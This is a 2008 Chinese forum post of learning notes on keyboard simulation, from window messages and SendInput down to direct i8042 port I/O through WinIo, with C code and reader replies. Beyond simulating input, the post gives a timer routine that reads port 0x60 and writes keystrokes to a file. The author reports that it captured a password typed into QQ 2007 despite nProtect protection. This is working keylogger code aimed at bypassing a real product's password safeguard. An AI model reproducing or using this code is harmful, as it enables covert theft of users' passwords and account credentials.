首页
社区
课程
招聘
[原创] 如何模拟键盘之学习笔记一
发表于: 2008-2-21 21:47 12568

[原创] 如何模拟键盘之学习笔记一

2008-2-21 21:47
12568
因为本人也是个菜鸟,所以就GOOGLE BAIDU了下来学习
键盘模拟分3个层次,第一个层次.局部级模拟,简单说就是PostMessage,这个没啥多说的。了解消息机制就行。

第二个层次,全局键盘消息,简单说就是keybd_event / SendInput  函数,也可以用全局钩子,比如,你可以用WH_JOURNALPLAYBACK这个钩子来模拟按键,据说,keyboard_event填写硬件扫描码对DriectInput有效,虚拟健码只对窗口有效,(测试到DIRECT X 9) 也就是说这样也是可以过Direct Input的。。

第三个层次  ,驱动级别,大家登陆QQ的时候都主意到了。密码框旁边有个小小的金锁,这是什么??这就是大名鼎鼎的nProtect,如果你要模拟QQ密码输入,那就是驱动级别的。

那驱动级别如何模拟键盘呢?经查知道,  键盘驱动直接读写 i8042 芯片,通过 i8042 间接的向键盘中的 i8048 发命令,所以俺们只要和 i8042 打交道就可以了。
i8042 有 4 个 8 bits 的寄存器,他们是 Status ReGISter(状态寄存器),Output Buffer(输出缓冲器),Input Buffer(输入缓冲器),Control Register(控制寄存器)。使用两个 IO 端口,60h 和 64h。  
好了。菜鸟我喜欢先动手做个程序出来。因为只是个DEMO。所以没有任何功能。只是10秒之后模拟产生100个a....(运行程序的结果就是。10秒内如果你打开记事本。。等满10秒。就会出现100个a)
代码很简单。。先去下载WINIO ,然后直接用他的EXAMPLE WINIOTEST  
  if (bResult)
  {}内部修改如下。。。
Sleep(10000);
          for(int i=1;i<100;i++)
          {
                  Sleep(100);
                  MykeyDown(65);
          }

    ShutdownWinIo();
//增加2个函数
void KBCWaitEmpty()
{
         DWORD dwPortVal;
         do
         {
                 bool flag = GetPortVal(0x64, &dwPortVal, 1);
         }
         while ((dwPortVal & 0x2) > 0);//   缓冲区满则继续等待,空则退出,
}
void MykeyDown(int vKeyCoad)
{
        int btScancode = 0;
        btScancode = MapVirtualKey((BYTE)vKeyCoad, 0);//虚拟键码转换成扫描码,主要是虚拟键码表比较容易GOOGLE到
        KBCWaitEmpty(); // 等待键盘缓冲区为空
    SetPortVal(KBC_KEY_CMD, 0xD2, 1);// 发送命令 总共12个命令 D2h表示准备写数据到Output Register中。
                                        //随后通过60h写入到Input Register的字节会被放入到Output Register中,此功能被
                                        //用来模拟来自于Keyboard发送的数据。如果中断被允许,则会触发一个中断。
   // KBCWaitEmpty();
  //  SetPortVal(KBC_KEY_DATA, 0xe2, 1);// 写入按键信息
    KBCWaitEmpty(); // '等待键盘缓冲区为空
    SetPortVal(KBC_KEY_CMD, 0xD2, 1);// '发送键盘写入命令
    KBCWaitEmpty();
    SetPortVal(KBC_KEY_DATA, btScancode, 1);// '写入按下键

}

OK .程序编译通过,可以运行了吧??俺这是VS 2005    XP SP 2操作系统下完全成功,然后俺的目标就是QQ的那个金锁了!!!。。。。

事实证明,这个金锁形同虚设,简单起见,使用一个记时器记录按键
   SetTimer(hWnd,IDT_TIMER1,10,(TIMERPROC) NULL);

        case WM_TIMER:
              vKeyCoad = ReadkeyDown();
                  if(vKeyCoad > 0)
                          outfile<<vKeyCoad<<"这就是俺记录下的虚拟键盘"<<endl;;
        
                break;
ReadKeyDown 只是简单的读下端口
int ReadkeyDown(){

        int vKeyCoad;

        DWORD btScancode = 10000;
    DWORD dwPortVal;
        bool flag;
        flag =         GetPortVal(0x60,&btScancode,1);//

                 vKeyCoad = MapVirtualKey(btScancode,1);
                 return vKeyCoad;
  

}

结果。。。QQ密码框输入的密码真的被记录下来了。(QQ 2007 II 版本,就是官网下的版本)晕死。。。nProtect 的保护都没看到呢!!
当然,这样记录还有一点小小问题。。因为使用的是记时器,所以,同一按键,就会被多次读取,导致重复,,不过我想,这个问题是可以解决的。暂时就先到这吧。。

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 7
支持
分享
最新回复 (8)
雪    币: 485
活跃值: (12)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
2
厉害,好可怕。。
2008-2-21 21:52
0
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
晕死。。。啥nProtect啊!!我刚才检验了下。。就上面那样都可以模拟键盘输入QQ密码。。
看来保护在于键盘记录。。。等会看下。。。。反正输入是没啥保护的。我刚才已经成功通过这个程序把自己密码输进去了。
2008-2-21 22:44
0
雪    币: 427
活跃值: (412)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
那个锁是防止盗取输入框内容,不是阻止模拟输入。
2008-2-21 23:19
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
5
讲讲USB端口协议吧~~~~
2008-2-22 09:56
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
用Delphi,如果大量的虚拟键用钩子来实现,少量的话就用消息发送。系统驱动层次的实现没有玩过。
2008-2-22 10:13
0
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
刚试验了。。2个都阻止不了。。。。。。感觉门是开的,没锁
2008-2-22 13:49
0
雪    币: 260
活跃值: (102)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
8
曾经照着书上的代码写了个键盘记录的,然后模拟键盘的就一直没成功,重复键好像不管用,郁闷的很。
2008-2-22 14:51
0
雪    币: 108
活跃值: (141)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
9
KbdClass那里搞就行了,搞HID麻烦
2008-2-22 23:55
0
游客
登录 | 注册 方可回帖
返回
//